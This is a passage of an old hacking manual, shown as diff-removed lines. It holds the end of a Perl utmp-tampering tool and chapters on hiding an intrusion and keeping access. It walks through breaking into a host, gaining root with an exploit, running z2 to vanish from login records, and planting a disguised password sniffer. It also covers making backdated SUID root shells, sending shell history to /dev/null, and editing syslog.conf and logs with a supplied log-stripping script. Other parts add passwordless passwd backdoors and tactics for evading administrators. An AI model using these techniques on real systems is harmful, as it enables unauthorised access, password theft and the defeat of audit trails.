- if ((%{$entries{$_}}->{"id"} =~ /[$ttyrange][$ttyports]/) &&
- ((%{$entries{$_}}->{"user"} ne pack("a8", "")) ||
- ((%{$entries{$_}}->{"host"} ne pack("a16", "")) &&
- (%{$entries{$_}}->{"id"} ne pack("a4", "")) &&
- (%{$entries{$_}}->{"line"} ne pack("a12", "")) &&
- (%{$entries{$_}}->{"pid"} > 0))));
- }
- }
- @logutmp = sort(@logutmp);
-
- # Check PIDs (find processes with active port ids)
- opendir(PIDDIR, "/proc");
- my(%processes) = {};
- my(@portprocesses) = ();
- foreach (grep(/\d+/, readdir(PIDDIR))) {
- local($procdata, $cmdline);
- open(PROCFILE, "</proc/$_/stat");
- $procdata = <PROCFILE>;
- close(PROCFILE);
- if (-e "/proc/$_/stat") {
- local($cmdline, $devnum, $portid);
- ($cmd, $devnum) = (split(/ /, $procdata))[1, 6];
- # Remove surrouding () from command name.
- $cmd =~ s/[\(\)]//g;
- $portid = dev2id(\%ports, $devnum);
- if (defined($portid)) {
- push(@portprocesses, $portid)
- if (!defined(listpos(\@portprocesses, $portid))&&($$ != $_));
- $processes{$_} = newproc($cmd, $portid) if (defined($portid) && ($$ != $_));
- }
- }
- }
- close(PIDDIR);
-
- # A port is *not* logged in if there is no dev entry for port, no utmp entry
- # and no active processes.
- my(@validshellports) = ();
- foreach (sort( { $a <=> $b} keys(%processes))) {
- push(@validshellports, %{$processes{$_}}->{"port"})
- if (defined(listpos(\@shells, %{$processes{$_}}->{"cmd"}))&&
- !defined(listpos(\@validshellports, %{$processes{$_}}->{"port"})));
- }
- # Remove ports with valid shells from list of ports with active processes.
- my(@noshellports) =
- sort(grep(!defined(listpos(\@validshellports, $_)), @portprocesses));
- @validshellports = sort(@validshellports);
- print "Ports with active /dev files: @logdev\n"
- if (defined(@logdev));
- print "Ports with utmp entries: @logutmp\n"
- if (defined(@logutmp));
- print "Ports with valid shells: @validshellports\n"
- if (defined(@validshellports));
- print "Ports with active processes and *no* shells: @noshellports\n"
- if (defined(@noshellports));
- }
-
-
- # GENERAL
-
- sub readfile {
- local($file);
- $file = shift;
- my($index)=1;
- my($buffer)="";
-
- # Insure we have a clean hash table before we start reading in the file.
- foreach (keys(%entries)) {
- undef(%{$entries{$_}});
- delete(${entries{$_}});
- }
-
- open(UTMPFILE, "<$file") || die("utmp-parse: Can't open $file - $!\n");
- binmode(UTMPFILE);
- # 1/17/96, struct utmp is 56 bytes (54 according to addition! :P).
- while (read(UTMPFILE, $buffer, 56)) {
- $entries{$index++} = newutmp($buffer);
- }
- $active_file = $file;
- print ("$active_file: " . scalar(keys(%entries)) . " entries loaded.\n");
- close(UTMPFILE);
- }
-
-
- sub newutmp {
- my($newbuff) = shift;
- my($longaddr) = 0;
-
- $newnode = bless {
- "type" => undef, "pid" => undef, "line" => undef, "id" => undef,
- "time" => undef, "user" => undef, "host" => undef, "addr" => undef
- }, 'UTMPNODE';
-
- @{$newnode}{qw(type pid line id time user host addr)}=
- unpack("i L a12 a4 L a8 a16 a4", $newbuff);
-
- return $newnode;
- }
-
-
- sub newport {
-
- $newnode = bless {
- "port" => undef, "rdev" => undef, "owner" => undef, "cmd" => undef,
- }, 'PORTNODE';
-
- @{$newnode}{qw(port rdev owner)} = @_;
-
- return $newnode;
- }
-
-
- sub newproc {
-
- $newnode = bless {
- "cmd" => undef, "port" => undef,
- }, 'PROCNODE';
-
- @{$newnode}{qw(cmd port)} = @_;
-
- return $newnode;
- }
-
-
- # Renumber hashes to default order.
- sub resync {
- my(%newhash) = ();
- my($count)=0;
-
- # Write ordered list in to temporary hash, deleting as we go.
- foreach (sort( {$a <=> $b} keys(%entries))) {
- $newhash{++$count} = $entries{$_};
- delete($entries{$_});
- }
-
- # Copy elements back in to original hash table.
- foreach (sort( {$a <=> $b} keys(%newhash))) {
- $entries{$_} = $newhash{$_};
- }
- }
-
-
- sub longtodot4 {
- my($addr)=shift;
-
- return join(".", map( ord($_), split(//, $addr)));
- }
-
- sub dev2id {
- my($portlist, $rdev) = @_;
-
- foreach (sort(keys(%{$portlist}))) {
- return $_ if (%{$portlist}->{$_}->{"rdev"}==$rdev);
- }
- return undef;
- }
-
-
- sub listpos {
- my($arrayref, $search) = @_;
- my($count) = 0;
-
- $^W = 0;
- foreach (@{$arrayref}) {
- return $count if ($search eq ${$arrayref}[$count]);
- $count++;
- }
- $^W = 1;
-
- return undef;
- }
-
-
- ### DATE ROUTINES
-
- # The following code taken & modified from the Date::Manip package.
- # Here is his copyright:
- #
- ## Copyright (c) 1995,1996 Sullivan Beck. All rights reserved.
- ## This program is free software; you can redistribute it and/or modify it
- ## under the same terms as Perl itself.
-
-
- sub SecsSince1970 {
- # Parse as mm/dd/[cc]yy[:hh:mm[:ss]]
- my($datetime) = shift;
- my($m,$d,$y,$h,$mn,$s) = ();
-
- # If date is not defined, then return local current date and time.
- return time() if (!defined($datetime));
-
- $datetime =~
- s!^(\d{1,2})/(\d{1,2})/(\d{4}|\d{2})(?:\:(\d{2}):(\d{2})(?:\:(\d{2}))?)?!!;
- ($m, $d, $y, $h, $mn, $s) = ($1, $2, $3, $4, $5, $6);
- $m--;
-
- # Finalize time components and check them.
- $y = (($y < 70) ? "20":"19" . $y) if (length($y)==2);
-
- # This checks for any *non-matched* portion of $datetime. If there is such
- # an animal, then there is illegal data specified. Also screens for undefined
- # components which HAVE to be in ANY valid date/time (ie, month, day, year).
- return undef if (!defined($m) || !defined($d) || !defined($y) || length($datetime));
-
- # Set time components with unspecified values.
- $s = 0 if (!defined($s));
- $mn = 0 if (!defined($mn));
- $h = 0 if (!defined($h));
-
- # Check for ranges.
- return undef if (($m > 11) || ($h > 23) || ($mn > 59) || ($s > 59));
-
- # Begin conversion to seconds since 1/1/70.
- my($sec_now,$sec_70)=();
- $sec_now=DaysSince999($m,$d,$y);
- return undef if (!defined($sec_now));
-
- $sec_now--;
- $sec_now = $sec_now*24*3600 + $h*3600 + $mn*60 + $s;
- $sec_70 =30610224000;
- return ($sec_now-$sec_70);
- }
-
-
- sub DaysSince999 {
- my($m,$d,$y)=@_;
- my($Ny,$N4,$N100,$N400,$dayofyear,$days)=();
- my($cc,$yy)=();
-
- $y=~ /^(\d{2})(\d{2})$/;
- ($cc,$yy)=($1,$2);
-
- # Number of full years since Dec 31, 0999
- $Ny=$y-1000;
-
- # Number of full 4th years (incl. 1000) since Dec 31, 0999
- $N4=int(($Ny-1)/4)+1;
- $N4=0 if ($y==1000);
-
- # Number of full 100th years (incl. 1000)
- $N100=$cc-9;
- $N100-- if ($yy==0);
-
- # Number of full 400th years
- $N400=int(($N100+1)/4);
-
- # Check to insure that information returns a valid day of year.
- $dayofyear=dayofyear($m,$d,$y);
- return undef if (!defined($dayofyear));
-
- # Compute day of year.
- $days= $Ny*365 + $N4 - $N100 + $N400 + $dayofyear;
-
- return $days;
- }
-
-
- sub dayofyear {
- my($m,$d,$y)=@_;
- my(@daysinmonth)=(31,28,31,30,31,30,31,31,30,31,30,31);
- my($daynum,$i)=();
- $daysinmonth[1]=29 if (!($y % 4));
-
- # Return error if we are given an invalid date.
- return undef if ($d > $daysinmonth[$m]);
-
- $daynum=0;
- for ($i=1; $i<$m; $i++) {
- $daynum += $daysinmonth[$i];
- }
- $daynum += $d;
-
- return $daynum;
- }
-
-
- ## END DATE ROUTINES.
-
- # End of script.
-
- 0;
-
- --------------------- end of utmpman.pl
-
- -------------------------
- Chapter VI
- Cleaning the log files
- -------------------------
-
- ------------------------------
- Section 6A
- A walk around a hacked system
- -------------------------------
-
- I can't stress the importance of this enough! Clean, Clean!!!! In this section
- I will take you on the system first hand and show you some basics on what to
- look for, and on how to wipe your presence from the system. To start this lets
- logon a system:
-
- Here is the step by step through the basic process:
-
- ******----> see who is on the machine
-
- [/home/master]finger @victim.net
- [victim.net]
- No one logged on.
-
- ******----> good no one on, we will log on
-
- [/home/master]telnet victim.net
-
- Trying xxx.206.xx.140...
- Connected to victim.net.
- Escape character is '^]'.
-
- Welcome to Victim Research Linux (http://www.victim.net) Red Hat 2.1
- Kernel 1.2.13 on a i586
-
-
- ns.victim.net login: jnsmith
- Password:
- Linux 1.2.13.
- You have new mail.
-
- ******----> Don't read his mail, you can cat all mail in /var/spool/mail
- and in each users /home/username/mail directory
-
- ******----> Check again to see if anyone is on
-
- [jnsmith@ns jnsmith]$ w
-
- 5:36am up 18 days, 8:23, 1 user, load average: 0.01, 0.00, 0.00
- User tty login@ idle JCPU PCPU what
- jnsmith ttyp1 5:35am w
-
- ******----> Just me, lets get root and get lost in the utmp!
-
- [jnsmith@ns jnsmith]$ cd .term
-
- ******----> Nice directory to hide stuff ;)
-
- [jnsmith@ns .term]$ ./.u
-
- ******----> I had this already waiting, it was the umounc.c exploit
-
- Discovered and Coded by Bloodmask and Vio, Covin 1996
-
- ******----> We are now root, lets use z2 to become invisible
-
- bash# z2 jnsmith
- Zap2!
-
- ******----> Let's see if we are still on ...
-
- bash# w
- 5:37am up 18 days, 8:24, 0 users, load average: 0.08, 0.02, 0.01
- User tty login@ idle JCPU PCPU what
-
- ******----> Hmm. now there is no one on the system, i must have logged off ;)
-
-
- ******----> We know we are root, but lets check you you can see ...
-
- bash# whoami
- root
- bash#
-
- ******----> Yup, root .. What directory are we in?
-
- bash# pwd
- /home/jnsmith/.term
-
- ******----> Let's check the logs
-
- bash# cd /var/log
-
- ******----> most of the time in /var/adm, this box uses /var/log
-
- bash# grep dormroom *
- maillog:Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com
- maillog:Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com
-
- ******----> Yup, the z2 took care of everything but this maillog ...
-
- bash# pico maillog
-
- ******----> in pico i did a ctrl w, and searched for dormroom then ctrl k to
- delete lines
-
-
- ******----> These were the lines deleted
-
- Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com
- Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com
-
- bash# grep dormroom *
-
- ******----> Yup .. all clear ;)
-
- bash# w
- 5:41am up 18 days, 8:27, 0 users, load average: 0.00, 0.00, 0.00
- User tty login@ idle JCPU PCPU what
-
- ******----> Yup .. all clear here too ;)
-
- ******----> Lets show you how you would use lled and wted if the grep would
- have shown something in those files
-
- bash# cd ~jnsmith/.term
- bash# lled
- bash# lled -c dormroom.playhouse
- Entries stored: 527 Entries removed: 0
- Now chmod lastlog.tmp and copy over the original /var/log/lastlog
-
- ******----> Nothing in the lastlog
-
- bash#
- bash# wted -e jnsmith
- Entries stored: 254 Entries removed: 0
- Now chmod wtmp.tmp and copy over the original /var/log/wtmp
-
- ******----> Nothing in the wtmp, both of these would have shown in the grep
- we just did in the /var/log (just showing you the commands)
-
- ******----> Lets do some sniffing ...
-
- bash# pico linsniffer.c
-
- ******----> I changed this line to tell where i want the log to go:
-
- #define TCPLOG "/tmp/.pinetemp.000"
-
- ******----> lets look at what is running to think of a name that
- looks almost like it belongs there
-
- bash# ps -aux
-
- root 143 0.0 0.0 84 0 ? SW Jan 10 0:01 (lpd)
- root 154 0.0 0.0 118 0 ? SW Jan 10 0:00 (smbd)
- root 163 0.0 0.5 76 176 ? S Jan 10 0:00 nmbd -D
- root 197 0.0 0.0 76 0 v03 SW Jan 10 0:00 (getty)
- root 198 0.0 0.0 76 0 v04 SW Jan 10 0:00 (getty)
- root 199 0.0 0.0 76 0 v05 SW Jan 10 0:00 (getty)
- root 200 0.0 0.0 76 0 v06 SW Jan 10 0:00 (getty)
- root 201 0.0 0.0 88 0 s00 SW Jan 10 0:00 (uugetty)
- root 209 0.0 0.2 35 76 ? S Jan 10 0:01 (update)
- root 210 0.0 0.3 35 124 ? S Jan 10 0:03 update (bdflush)
- root 10709 0.0 1.4 152 452 ? S Jan 27 0:10 httpd
- root 11111 0.0 1.4 152 452 ? S Jan 27 0:07 httpd
- root 14153 0.0 0.8 70 268 ? S Jan 16 0:03 ./inetd
- root 14307 0.0 4.7 1142 1484 ? S Jan 16 1:16 ./named
- root 14365 0.0 0.0 76 0 v02 SW Jan 16 0:00 (getty)
- root 17367 0.0 1.4 152 452 ? S 11:01 0:02 httpd
-
- ******----> lets compile it and name it nmb
-
- bash# gcc linsniffer.c -o nmb
-
- ******----> lets load it ...
-
- bash# nmb&
- [1] 22171
-
- ******----> lets check the log file in /tmp
-
- bash#
- bash# cd /tmp
- bash# ls -al .pin*
- total 15691
- -rw-rw-r-- 1 root jnsmith 0 Jan 29 05:50 .pinetemp.000
-
- ******----> There it is, but we don't want our login to know about it!
-
- bash# chgrp root .pin*
-
- ******----> Lets look now ....
-
- bash# ls -al .pin*
- -rw-rw-r-- 1 root root 0 Jan 29 05:50 .pinttemp.000
- bash#
-
- ******----> This is good, Lets make an SUID shell so we don't have to
- do this again. (check for MD5 or other programs in the cron)
-
- bash# cd /bin
- bash# ls -l sh
- lrwxrwxrwx 1 root root 4 Mar 1 1996 sh -> bash
-
- ******----> This is a sym link ...
-
- bash# ls -l bash
- -rwxr-xr-x 1 root root 299296 Nov 2 1995 bash
-
- ******----> here is the real file ... lets see what to name it that
- looks like it belongs
-
- bash# ls
- arch df ksh ping tar
- ash dmesg ln ps tcsh
- bash dnsdomainname login pwd true
- cat domainname ls red ttysnoops
- chgrp echo mail rm umount
- chmod ed mkdir rmdir uname
- chown false mknod sed vi
- cp findterm more setserial view
- cpio gunzip mount sh vim
- csh gzip mt stty zcat
- date hostname mv su zsh
- dd kill netstat sync
-
- ******----> How about a new command in linux, most admin's won't know
- the difference ;) We will call it findhost
-
- bash# cp bash findhost
-
- ******----> ok, now lets have a look at our new unix command ...
-
- bash# ls -l findhost
- -rwxr-xr-x 1 root jnsmith 299296 Jan 29 05:59 findhost
-
- ******----> We need to change the group owner, touch the file date,
- and make it SUID
-
- bash# chgrp root findhost
- bash# ls -l findhost
- -rwxr-xr-x 1 root root 299296 Jan 29 05:59 findhost
-
- bash# chmod +s findhost
- bash# ls -l findhost
- -rwsr-sr-x 1 root root 299296 Jan 29 05:59 findhost
-
- bash# touch -t 111312331995 findhost
- bash# ls -l findhost
- -rwsr-sr-x 1 root root 299296 Nov 13 1995 findhost
-
- bash# ls -l m*
- -rwxr-xr-x 1 root root 64400 Oct 31 1995 mail
- -rwxr-xr-x 1 root root 7689 Nov 2 1995 mkdir
- -rwxr-xr-x 1 root root 7001 Nov 2 1995 mknod
- -rwxr-xr-x 1 root root 20272 Nov 1 1995 more
- -rwsr-xr-x 1 root root 26192 Nov 1 1995 mount
- -rwxr-xr-x 1 root root 8381 Oct 31 1995 mt
- -rwxr-xr-x 1 root root 12753 Nov 2 1995 mv
-
- ******----> Now it looks like it belongs ... lets see if
- it gives us root, exit our current root shell..
-
- bash# exit
-
- [jnsmith@ns .term]$ cd /bin
- [jnsmith@ns /bin]$ whoami
- jnsmith
- [jnsmith@ns /bin]$ findhost
- [jnsmith@ns /bin]# whoami
- root
-
- [jnsmith@ns /bin]# cd
-
- ******----> cd {enter} takes us back to our home dir
-
- [jnsmith@ns jnsmith]# ls
- mail
- [jnsmith@ns jnsmith]# echo + +>test
- [jnsmith@ns jnsmith]# ls -l
- total 2
- drwx------ 2 jnsmith jnsmith 1024 Jan 11 22:47 mail
- -rw-rw-r-- 1 root root 4 Jan 29 06:11 test
-
- ******----> See now we are uid=0 gid=0
-
- [jnsmith@ns jnsmith]# rm test
-
- ******----> clean as we go .....
-
- [jnsmith@ns jnsmith]# w
- 6:12am up 18 days, 8:58, 0 users, load average: 0.07, 0.02, 0.00
- User tty login@ idle JCPU PCPU what
-
- ******----> Just making sure we are still alone ....
-
- [jnsmith@ns jnsmith]# ls -al /tmp/.p*
- total 15692
- -rw-rw-r-- 1 root root 157 Jan 29 06:10 .pinttemp.000
-
- ******----> were getting passwords already ;)
-
- [jnsmith@ns jnsmith]# ls -al
- total 32
- drwxrwx--- 5 jnsmith jnsmith 1024 Jan 29 06:11 .
- drwxr-xr-x 33 root users 1024 Jan 22 16:53 ..
- -rw-r----- 1 jnsmith jnsmith 1126 Aug 23 1995 .Xdefaults
- lrwxrwxrwx 1 jnsmith jnsmith 9 Jan 1 21:40 .bash_history -> /dev/null
- -rw-r--r-- 1 root jnsmith 24 Jan 1 03:12 .bash_logout
- -rw-r--r-- 1 root jnsmith 220 Jan 1 03:12 .bash_profile
- -rw-r--r-- 1 root jnsmith 124 Jan 1 03:12 .bashrc
- -rw-rw-r-- 1 root jnsmith 5433 Jan 11 22:47 .pinerc
- drwxrwxr-x 2 jnsmith jnsmith 1024 Jan 29 06:22 .term
- drwxr-x--- 2 jnsmith jnsmith 1024 Feb 17 1996 .xfm
- drwx------ 2 jnsmith jnsmith 1024 Jan 11 22:47 mail
- [jnsmith@ns jnsmith]#
-
- ******----> Make sure you place this sys link .bash_history to /dev/null so
- you do not leave a history behind...
-
- This is the command to do it, but make sure you delete the old .bash_history
- if it is there.
-
- ln -s /dev/null .bash_history
-
- Ok logout ...
-
- Ok, there is another way!!!!!!
-
- If you can remember and make it a practice that you NEVER forget, get used to
- this.... EVERY TIME you login to an account type: unset HISTFILE
-
- This will tell the system to delete your history file when you logoff the
- system... USE THIS! Get into the practice! DON'T FORGET!
-
- -----------
- Section 6B
- messages and syslog
- -----------
-
- In the log directory you will find a file called 'messages' each system is
- different as far as what is logged to what files or what file name. Make
- sure to check in the /etc/syslog.conf file for additional logging to
- remote machines. If this is being done you will see something like this:
-
- *.* @somehostname.xxx
-
- Or just to check and see where the log files are going you can view this file
- /etc/syslog.conf.
-
- Here is a sample...
-
- bash# more syslog.conf
- # /etc/syslog.conf
- # For info about the format of this file, see "man syslog.conf" (the BSD man
- # page), and /usr/doc/sysklogd/README.linux.
- #
- # NOTE: YOU HAVE TO USE TABS HERE - NOT SPACES.
- # I don't know why.
- #
-
- *.=info;*.=notice /var/adm/messages
- *.=debug /var/adm/debug
- *.warn /var/adm/syslog
- *.warn /root/.../syslog
- *.=crit;kern.none /var/adm/critical
- kern.info;kern.!err /var/adm/kernel-info
- mail.*;mail.!=info /root/.../mail
- mail,news.=info /root/.../info
- mail.*;mail.!=info /var/adm/mail
- mail,news.=info /var/adm/info
- *.alert root,bob
- *.=info;*.=notice @quality.com
- *.=debug @quality.com
- *.warn @quality.com
- *.=crit;kern.none @quality.com
- kern.info;kern.!err @quality.com
- mail.*;mail.!=info @quality.com
- mail,news.=info @quality.com
-
- Here some of the logs are going into a hidden directory in the /root directory
- and a copy of every alert and warning are being also sent to the logs at
- quality.com. wtmp, utmp and lastlog are still local, so you can still be
- ok, just make sure not to use 'su' on a system like this. Also notice above
- that alert messages are being mailed to root and bob on this system.
-
- Also take note that syslog, mail, and, info are being sent to the /var/adm
- directory to fool you into thinking all of the logs are in /var/adm! If you
- edit /var/adm the admin can run a diff on the backup files in the /root dir.
-
- Ok, so you go to the /var/adm or /var/log directory and:
-
- grep yourhost * |more
- grep your ip * |more
-
- you see that some files are logging your connection, mark down what files
- are logging you and edit the /etc/syslog.conf file. You will from trial
- and error in most cases make it skip the logging process of your domain.
-
- BUT, make sure to do a few things. After you edit the file restart the
- syslogd. You can do this by doing a ps -x
-
- $root> ps -x
-
- 39 ? S 1:29 /usr/sbin/syslogd
-
- find the syslogd and notice the process id here is 39, so you do:
-
- kill -HUP 39
-
- This will restart the process and put your changes into effect.
-
- The other thing is to make sure to do a ls -l /etc/syslog.conf BEFORE you
- edit it and touch the file date back to the original date and time after
- you edit it. This way if they notice the logging looks different, they
- will check the file date and think it must be something else. Most admins
- would not know how to setup this file in the first place, so you in some
- (or most) cases ok to edit it.
-
- Here is another file to look at.
-
- /etc/login.defs
-
- # Enable "syslog" logging of su activity - in addition to sulog file logging
- # SYSLOG_SG_ENAB does the same for newgrp and sg.
- #
- SYSLOG_SU_ENAB yes
- SYSLOG_SG_ENAB yes
- #
- # If defined, all su activity is logged to this file
- #
- SULOG_FILE /home/users/bob/.list
-
- Notice here that there is an su log file in a hidden file in one of
- the admin's directories.
-
- -----------
- Section 6C
- xferlog
- -----------
-
- The xferlog can be edited with your favorite text editor, pico, joe, vi, etc..
- you can then search for your transfers and delete the lines and save the file.
- You will need to do this after transferring any files.
-
- You will also want to grep the files in the /usr/local/etc/httpd/log directory
- if you have used the web or phf on the system to remove your presence
- from there.
-
- grep (username or hostname) * |more
-
- If you need to find the logs for httpd you can do a find -name httpd.conf
- -print and view the config file you see where the httpd logs are going.
-
- There might be different ftp logs for transfers in some ftp or virtual ftp
- directory some where. View the files in the /etc/ftp* to find what the ftp
- setup is on the box.
-
- Here I have shown you to edit log files using pico, joe, or other editors.
-
- There is another way... Sometimes log files might be real large and the editor just might
- not cut it ;) Here is what to do...
-
- You have a messages file 20 meg ... wow!
-
- If you want to get the lines that have fudge.candy.com out of this file you
- might want to do this:
-
- grep -v fudge.candy >messages.2
- rm messages
- mv messages2 messages
-
- then kill -HUP <process id for syslogd>
-
- -v means grep everything that does not match the line, so you are greping
- the file -what you do not want to a new file name messages.2. Check the
- file size after the grep to make sure no errors were made and replace the
- old one with the new one and restart syslogd.
-
- This can also be used with other logs like xferlog, syslog, etc...
-
- Here is a perl script that will do it for you from command line.
-
- ------------------- start of riptext.pl
- #!/usr/bin/perl
- #
- # RipText - Takes regular expression and filename argument from @ARGV. Any
- # lines MATCHING regular expression will *not* be printed to
- # STDOUT.
- #
- #
-
- die("\nUsage: riptext [regexp] {filename}\n\n") if (!defined($ARGV[0]));
- ($regexp, $filename) = @ARGV[0,1];
-
- # Read in contents of file.
- $/ = undef;
- $contents="";
- if (!defined($filename)) {
- # Use STDIN.
- $contents = scalar <STDIN>;
- } else {
- # Use FILE.
- open(FILE, "<$filename") || die("-RipText- Cannot open $filename: $!\n");
- $contents = scalar <FILE>;
- close(FILE);
- }
-
- @contents = split(/\n/, $contents);
-
- # Strip file of matching lines.
- open(FILE, ">$filename") || die("-RipText- Cannot write $filename: $!\n");
- foreach (@contents) {
- print FILE "$_\n" unless (/$regexp/i);
- }
- close(FILE);
-
- 0;
-
- ------------------------ end of riptext.pl
-
- Remember to restart syslogd after you edit files, true you will not see
- the stuff, and it will be gone to your eyes, but if you do not restart the
- process, the data is still in memory and can be retrieved until you restart
- the process!
-
- Also look for notes in the syslog that the syslogd process was restarted at
- such and such a time.
-
- ---------------
- Section 6D
- The cron table
- ---------------
-
- Make sure to look at admin's and root cron files, here in this system we find
- a root cron file in: /var/spool/cron/crontabs
- bash# ls -l
- total 1
- -rw------- 1 root root 851 Jan 26 14:14 root
-
- bash$ more root
- # This updates the database for 'locate' every day:
- 40 07 * * * updatedb 1> /dev/null 2> /dev/null
- 40 */12 * * * /sbin/checkfs
-
- there is a file running here in /sbin called checkfs.
-
- bash$ cd /sbin
- bash$ /sbin # more checkfs
- #!/bin/bash
-
- if [ ! -f /etc/default/fs/.check ]; then
- echo WARNING!! Filecheck default file cannot be found. Please regenerate.
- exit
- fi
-
- md5sum /usr/bin/* > /tmp/filecheck 2>/dev/null
- md5sum /usr/sbin/* >> /tmp/filecheck 2>/dev/null
- md5sum /sbin/* >> /tmp/filecheck 2>/dev/null
- md5sum /bin/* >> /tmp/filecheck 2>/dev/null
- md5sum /usr/local/bin/* >> /tmp/filecheck 2>/dev/null
- md5sum /usr/local/sbin/* >> /tmp/filecheck 2>/dev/null
- md5sum /lib/* >> /tmp/filecheck 2>/dev/null
- md5sum /usr/lib/* >> /tmp/filecheck 2>/dev/null
- diff /tmp/filecheck /etc/default/fs/.check > /tmp/filecheck2 2>&1
-
- if [ -s /tmp/filecheck2 ]; then
- mail -s FSCheck bin < /tmp/filecheck2
- fi
-
- rm /tmp/filecheck /tmp/filecheck2 2>/dev/null
-
- md5 is a checksum file, if you change or add a binary file to any of the
- above directories the information of the changes will be mailed to the
- admin.
-
- ------------------------------
- Chapter 7
- Keeping access to the machine
- ------------------------------
-
- There are many ways to keep access to the machine, you will loose
- access to many as you as you are learning, but I hope with this manual
- and some experience you will become a stable hacker.
-
- Section 7A
- Tricks of the trade
-
- Here are some 'tricks' of the trade that will help you keep access
- to the machine. After a system admin has found you out, they will be watching
- for you and going through everything on the system. They will go as far as
- recompiling binary files, changing everyone's passwords, denying your host you
- came in from to the machine, going through the passwd or shadow file, looking
- for SUID files, etc....
-
- When you see that you have been found out, do not try to get access to the
- system again. I have seen others right after being cought, try everyone of
- their trojans, other accounts, and other backdoor's they placed for continued
- access. Well think about it, they are watching for you ... you are showing
- them every in that you have to the system, and every exploitable file you
- are making known to them.
-
- NO! WAIT! Give it a few months, they will think everything is ok, and they
- will relax and you can come in with one of the backdoor's they missed, and you
- can do your thing on the logs for all of the attempts you made on the system
- to get back in.
-
- Ok here are some tricks of the trade.
-
- History Files:
- --------------
- Always put your .bash_history to /dev/null, if you don't make sure you at least
- edit it. Remember the .bash_history will always have your last commands until
- the logoff. So if you edit it, it will show that you are editing it. You might
- try changing your shell and editing it there, but this all seems like a pain,
- just set it to /dev/null
-
- 1. Delete the file in the user directory .bash_history if it there.
- 2. Type this command in the home directory: ln -s /dev/null .bash_history
-
- Nested directory:
- -----------------
- Always find a directory on the system to hide your files. There are a few good
- ones that most users never look into.
-
- In the users home directory look for .term, all you will find in this directory
- is an executable file called termrc. Admin's and users alike are used to seeing this
- hidden directory, and never EVER go into it. if they did what do you think
- they would say to an executable file being in there called termrc? You are right!
- Nothing .... it belongs there and it is what they expect to see there.
-
- So lets say we make termrc a little bigger, and add suid perm's ... are you
- getting the idea???? I hope you guessed it... go to the /bin directory and
- type cp bash (or sh whatever is there) ~username/.term/termrc
- then type : chown root ~username/.term/termrc
- : chgrp root ~username/.term/termrc
- : chmod +s ~username/.term/termrc
-
- Now you have a nested file that can get you root on the system any time that
- will not be easy for the admin to find. If you want to get fancy, touch
- the file date to make it look like an older file.
-
- Another directory off the user accounts expected to be there and unused would
- be .elm, .term or Mail, or try making a directory called '...' this is harder
- to notice seeing the first directories that show are . and .., so it can go
- un-noticed easy. This is how it would look if they did a long ls:
-
- 1024 Jan 29 21:03 .
- 1024 Dec 28 00:12 ..
- 1024 Jan 29 21:03 ...
- 509 Mar 02 1996 .bash_history
- 22 Feb 20 1996 .forward
- 164 May 18 1996 .kermrc
- 34 Jun 06 1993 .less
- 114 Nov 23 1993 .lessrc
- 1024 May 18 1996 .term
- 1024 May 19 1996 public_html
-
- see how it seems to just fit into place?
-
- but if it was just a ls -l, this is what would be seen:
-
- 1024 May 19 1996 public_html
-
- Remember you can always look for some REAL LONG file path that you are sure
- that no one would ever even want to enter into, and use this for your nested
- directory. You can even make your own directory there like:(...) ;)
-
-
- Making new commands
- --------------------
- After you check the cron to see if there is md5 being used there, you might
- want to either copy one of your exploits to another filename in the system,
- or maybe just overwrite a command that you know would never be used. If
- you copy to a new file name make sure you touch the file date. This is not
- so long lasting because sooner or later they will patch the exploit and your
- new file you made will not work anymore.
-
- It is better to use a shell for the new filename, and then make it suid.
-
- Adding or changing passwd entry's
- ---------------------------------
- Another backdoor that you can use is to add a new user to the passwd file.
- This needs to be done with caution making it look like it belongs there.
- Never use your passwd addition, never login, it is just for a backup in case
- you loose access.
-
- There are different thoughts here: you do not have to make it a root account
- that could cause notice to it right away. You know you can have root any time
- you want it. Lets practice ...
-
- We want to make our account look like it belongs, so lets keep to the top of
- the file.
-
- root:fVi3YqWnkd4rY:0:0:root:/root:/bin/bash
- sysop:mZjb4XjnJT1Ys:582:200:System Operator:/home/sysop:/bin/bash
- bin:*:1:1:bin:/bin:
- daemon:*:2:2:daemon:/sbin:
- adm:*:3:4:adm:/var/adm:
- lp:*:4:7:lp:/var/spool/lpd:
- sync:*:5:0:sync:/sbin:/bin/sync
- shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
- halt:*:7:0:halt:/sbin:/sbin/halt
- mail:*:8:12:mail:/var/spool/mail:
- news:*:9:13:news:/usr/lib/news:
- uucp:*:10:14:uucp:/var/spool/uucppublic:
- operator:*:11:0:operator:/root:/bin/bash
- games:*:12:100:games:/usr/games:
- man:*:13:15:man:/usr/man:
- postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
- nobody:*:65535:100:nobody:/dev/null:
- ftp:*:404:1::/home/ftp:/bin/bash
-
- Looking at the above passwd file leaves us a few options so i will just list
- them here.
-
- 1. Look at the user line for operator, ftp, and postmaster. All of these
- accounts have shells with no passwd's set yet. From your shell just type:
-
- passwd postmaster
-
- Set the account with no passwd by just pressing enter. Now you will be able
- to log into this account any time without a password and the file will still
- look right to the admin.
-
- 2. add this line to the passwd file:
-
- syst::13:12:system:/var/spool:/bin/bash
-
- Place it in the file where it seems to flow. You can leave the :: for the
- passwd or set the passwd to what you want by typing: passwd syst from the
- root shell. Set the group and id above to what you like.
-
-
- 3. Look at the line above for sync
-
- sync:*:5:0:sync:/sbin:/bin/sync
-
- Change this to :
-
- sync:*:5:0:sync:/sbin:/bin/bash and then run <passwd sync> and leave the passwd
- blank. (or set a passwd don't matter) On this account we are even gid=0 <G>rin
-
- Installing games
- ----------------
-
- You could always install exploitable doom or abuse into the system if they
- already have games installed. I will include the root exploits for these
- games below in the appendix.
-
- Always be watching
- ------------------
-
- Always know who the admin's are on a system, you can find them by looking at
- the passwd file to see home directories, placement of the uid, group access
- accounts, and ALWAYS read all of the bash_history files in the user directories
- to see who is using admin commands. You will also learn allot of new commands
- from reading history files, but you want to know who is who on the system.
- Get to know your system well. Look for users using su: View the log files
- to see who is using admin commands.
-
- Always be watching the system, keep track of who is on while you are. Watch
- the admin's history to see what commands they are using, ttysnoops? too many
- ps commands? finger commands after ps or w or who commands will show they
- are watching what other users on the system are doing. Watch your admin's
- and get to know how aware they are of users on their system.
-
- Reading system mail
-
- Rember first NEVER to use system mail programs! They will be able to tell you
